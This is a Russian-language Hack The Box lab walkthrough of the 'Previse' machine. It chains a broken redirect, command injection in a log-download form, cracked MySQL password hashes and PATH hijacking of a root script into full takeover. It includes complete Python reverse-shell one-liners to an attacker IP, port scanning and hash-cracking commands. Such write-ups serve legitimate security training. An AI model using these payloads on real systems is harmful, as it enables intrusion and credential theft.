Хакер - HTB Previse. Раскручиваем кривой редирект до полного захвата сайта

Хакер - HTB Previse. Раскручиваем кривой редирект до полного захвата сайта

hacker_frei

https://t.me/hacker_frei

Содержание статьи

  • Разведка
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

Се­год­ня на при­мере лег­кой машины с пло­щад­ки Hack The Box я покажу впол­не типич­ный про­цесс зах­вата веб‑сер­вера. Нач­нем с неп­равиль­но нас­тро­енно­го редирек­та, получим дос­туп к зак­рытым стра­ницам, а точ­ку опо­ры най­дем через фор­му получе­ния логов. Зах­ватить флаг рута нам поможет ошиб­ка в скрип­те поль­зовате­ля.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.104 writer.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим два откры­тых пор­та: 22 (служ­ба OpenSSH 7.6p1) и 80 (веб‑сер­вер Apache 2.4.29). SSH пока про­пус­тим.

Справка: брутфорс учеток

Пос­коль­ку в начале про­хож­дения у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем сде­лать здесь — это переби­рать пароли брут­форсом, но у машин с HTB поч­ти всег­да есть дру­гое про­хож­дение. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Ос­тает­ся «про­бивать» веб. Вни­матель­но изу­чим сайт в поис­ках любой важ­ной информа­ции. При заг­рузке сай­та http://previse.htb нас переб­расыва­ют на стра­ницу login.php. Там нас встре­чает фор­ма авто­риза­ции.

Фор­ма авто­риза­ции

Не­заме­нимое средс­тво при ана­лизе веб‑сай­тов — набор прог­рамм Burp Pro. Нап­ример, вхо­дящий в него Burp Proxy при ана­лизе сай­та ведет свою исто­рию зап­росов и отве­тов. Там мы можем най­ти наш редирект. Но что более уди­витель­но, редирект выпол­нен неп­равиль­но, так как стра­ница сна­чала заг­ружа­ется, а потом про­исхо­дит перенап­равле­ние. Уви­деть глав­ною стра­ницу мож­но во встро­енном бра­узе­ре Burp. Для это­го акти­виру­ем Response → Render.

Глав­ная стра­ница сай­та в Burp Render

Та­ким обра­зом мы можем прос­мотреть весь сайт.

ТОЧКА ВХОДА

Мы можем прос­матри­вать фай­лы сай­та, но пока что спо­собов прод­винуть­ся даль­ше не вид­но. Поп­робу­ем получить боль­ше информа­ции о содер­жимом катало­гов при помощи перебо­ра.

Справка: сканирование веба c fuff

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов с целью поис­ка скры­той информа­ции и недос­тупной обыч­ным посети­телям фун­кций. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и dirb.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке исполь­зуем сле­дующие парамет­ры:

  • -w — сло­варь (исполь­зуем directory-list-2.3-medium из набора Seclists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Спи­сок популяр­ных фай­лов на PHP мож­но най­ти в наборе сло­варей Seclists. Запус­каем перебор:

ffuf -u http://previse.htb/FUZZ -w php_files_common.txt -t 200 -fc 403

Ре­зуль­тат ска­ниро­вания фай­лов

В выводе получа­ем мно­го фай­лов, и некото­рые выпол­няют редирект. А вот неиз­вес­тный до это­го файл nav.php воз­вра­щает код отве­та 200. Взгля­нем на него через бра­узер и обна­ружим обыч­ную навига­цию по сай­ту.

Стра­ница nav.php

Те­перь обой­дем все стра­ницы через Burp Proxy и прос­мотри отве­ты сер­вера. Что­бы удоб­но сде­лать это через бра­узер, будем перех­ватывать ответ от сер­вера и менять код отве­та с 302 (перенап­равле­ние) на 200 (успешный ответ). Пер­вым делом перех­ватыва­ем зап­рос.

Пе­рех­ват зап­роса в Burp Proxy

Те­перь акти­виру­ем перех­ват отве­та. Для это­го в кон­текс­тном меню выбира­ем Do intercept → Response to this request. Пос­ле это­го отправ­ляем зап­рос, нажав на кноп­ку Forward. И сра­зу в этом же окне получим ответ.

Пе­рех­ват отве­та в Burp Proxy

Из­меня­ем 302 Found на 200 OK.

Из­менение отве­та в Burp Proxy

От­прав­ляем ответ, сно­ва нажав на кноп­ку Forward. В бра­узе­ре получа­ем нуж­ную нам стра­ницу.

Стра­ница accounts.php

По­доб­ным обра­зом взгля­нем и на осталь­ные стра­ницы.

Стра­ница files.php
Стра­ница file_logs.php

Мы наш­ли инте­рес­ную воз­можность, но нам она пока не дос­тупна. Зато мы можем работать со стра­ницей соз­дания поль­зовате­ля, чем и вос­поль­зуем­ся.

Со­обще­ние об успешном соз­дании поль­зовате­ля
Шап­ка сай­та

Пе­рей­дем к стра­нице files.php и ска­чаем бекап сай­та.

Со­дер­жимое ска­чан­ного архи­ва

В архи­ве мно­го фай­лов, о некото­рых мы даже и не зна­ли. Перехо­дим к эта­пу изу­чения исходно­го кода.

ТОЧКА ОПОРЫ

Сре­ди фай­лов внут­ри архи­ва обна­ружим connect.php. Этот файл обыч­но исполь­зует­ся для ука­зания нас­тро­ек под­клю­чения к базе дан­ных.

Со­дер­жимое фай­ла connect.php

Но дан­ный пароль никуда не подошел. Поэто­му запоми­наем на будущее и про­дол­жаем ана­лиз. В фай­ле file_logs.php видим, куда отправ­ляет­ся зап­рос — файл logs.php.

Код фор­мы зап­роса логов

А в фай­ле logs.php находим мес­то, где про­исхо­дит обра­бот­ка при­нима­емых дан­ных.

Со­дер­жимое фай­ла logs.php

Ни­какая филь­тра­ция не исполь­зует­ся, при этом зна­чение парамет­ра прос­то переда­ется в коман­ду кон­соли. Она будет выпол­нена в фун­кции exec. Так мы можем завер­шить одну коман­ду точ­кой с запятой и затем выпол­нить дру­гую.

От­кро­ем лис­тенер коман­дой rlwrap nc -lvp 80 и переда­дим сле­дующую наг­рузку, которая даст нам реверс‑шелл. Пос­ле встав­ки наг­рузки выделя­ем ее и нажима­ем Ctrl-U в Burp. Это лег­кий спо­соб закоди­ровать переда­ваемый параметр в кодиров­ке URL.

python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.134",80

));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

Ис­ходный зап­рос
Из­менен­ный зап­рос
По­лучен­ный бэк­коннект

В ито­ге в окне лис­тенера получим уда­лен­ную коман­дную обо­лоч­ку.

ПРОДВИЖЕНИЕ

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет даже целое веб при­ложе­ние, то пер­вое наше дей­ствие - поп­робовать получить какие‑либо учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти учет­ные

дан­ные подой­дут и для локаль­ных поль­зовате­лей тоже. Обыч­но, такие кри­тичес­кие дан­ные хра­нят­ся либо в кон­фигах, либо в базе дан­ных. Так у нас уже есть необ­ходимые парамет­ры для под­клю­чения к базе дан­ных, давай­те пос­мотрим, что она содер­жит.

Пер­вым делом сде­лаем TTY-обо­лоч­ку, что­бы нор­маль­но вза­имо­дей­ство­вать с потока­ми вво­да/вывода.

python3 -c 'import pty; pty.spawn("/bin/bash")'

А теперь под­клю­чим­ся к MySQL и зап­росим спи­сок баз дан­ных.

mysql -u root -D previse -p

show databases;

Спи­сок баз дан­ных

Из пред­став­ленных баз по наз­ванию опре­деля­ем поль­зователь­скую. Выбира­ем ее и получа­ем спи­сок таб­лиц.

use previse;

show tables;

Спи­сок таб­лиц в базе previse

Таб­лица accounts может содер­жать учет­ные дан­ные для сай­та. Получим все записи из таб­лицы.

select * from accounts;

Со­дер­жимое таб­лицы accounts

Вот мы и наш­ли учет­ные дан­ные поль­зовате­лей. Сна­чала меня сму­тил вид хешей, но hashcat все рав­но их переб­рал. Сна­чала опре­делим нуж­ный режим (mode) перебо­ра по типу хеша, а потом выпол­ним перебор по сло­варю

hashcat --example | grep '\$1\$' -A2 -B2

Оп­ределе­ние режима hashcat

hashcat -a 0 -m 500 hashes ../tools/rockyou.txt

На­хож­дение про­обра­за хеша

С най­ден­ным паролем под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь вряд ли получит­ся прос­то где‑то най­ти учет­ные дан­ные. Поэто­му нуж­но исполь­зовать какой‑то спо­соб повыше­ния при­виле­гий. Для поис­ка это­го спо­соба мож­но, конеч­но, запус­тить спе­циаль­ные скрип­ты вро­де LinPEAS, но мож­но сра­зу про­верить наибо­лее веро­ятные мес­та: нас­трой­ки sudoers, при­ложе­ния с выс­тавлен­ным битом SUID битом, прос­лушива­емые на localhost пор­ты и так далее.

Пи­шем sudo -l, что­бы про­верить sudoers.

Нас­трой­ки судо­ера

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Мы можем выпол­нить скрипт /opt/scripts/access_backup.sh от име­ни поль­зовате­ля root. Прос­мотрим содер­жимое фай­ла.

Со­дер­жимое фай­ла access_backup.sh

Да­же не сто­ит раз­бирать­ся в том, что дела­ет этот скрипт, так как уяз­вимость вид­на сра­зу. Путь к исполня­емо­му фай­лу gzip ука­зан не абсо­лют­ный (пол­ный), поэто­му опе­раци­онная сис­тема будет искать этот файл во всех катало­гах, ука­зан­ных в перемен­ной окру­жения PATH. Мы можем соз­дать свой скрипт с наз­вани­ем gzip и внес­ти его каталог пер­вым в перемен­ную PATH.

В скрип­те запишем уже исполь­зован­ный ранее реверс‑шелл.

#!/bin/bash

python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.134",8080));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

Файл с реверс‑шел­лом

За­тем вно­сим каталог /tmp в перемен­ную PATH.

export PATH=/tmp:$PATH

Про­вер­ка зна­чения перемен­ной PATH

От­кры­ваем лис­тенер (коман­да rlwrap nc -lvp 8080) и запус­каем через sudo скрипт /opt/scripts/access_backup.sh. Таким обра­зом запущен­ный из скрип­та в высокоп­ривиле­гиро­ван­ном кон­тек­сте gzip даст нам реверс‑шелл.

Флаг рута

Ма­шина зах­вачена, мы име­ем над ней пол­ный кон­троль!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei


Report Page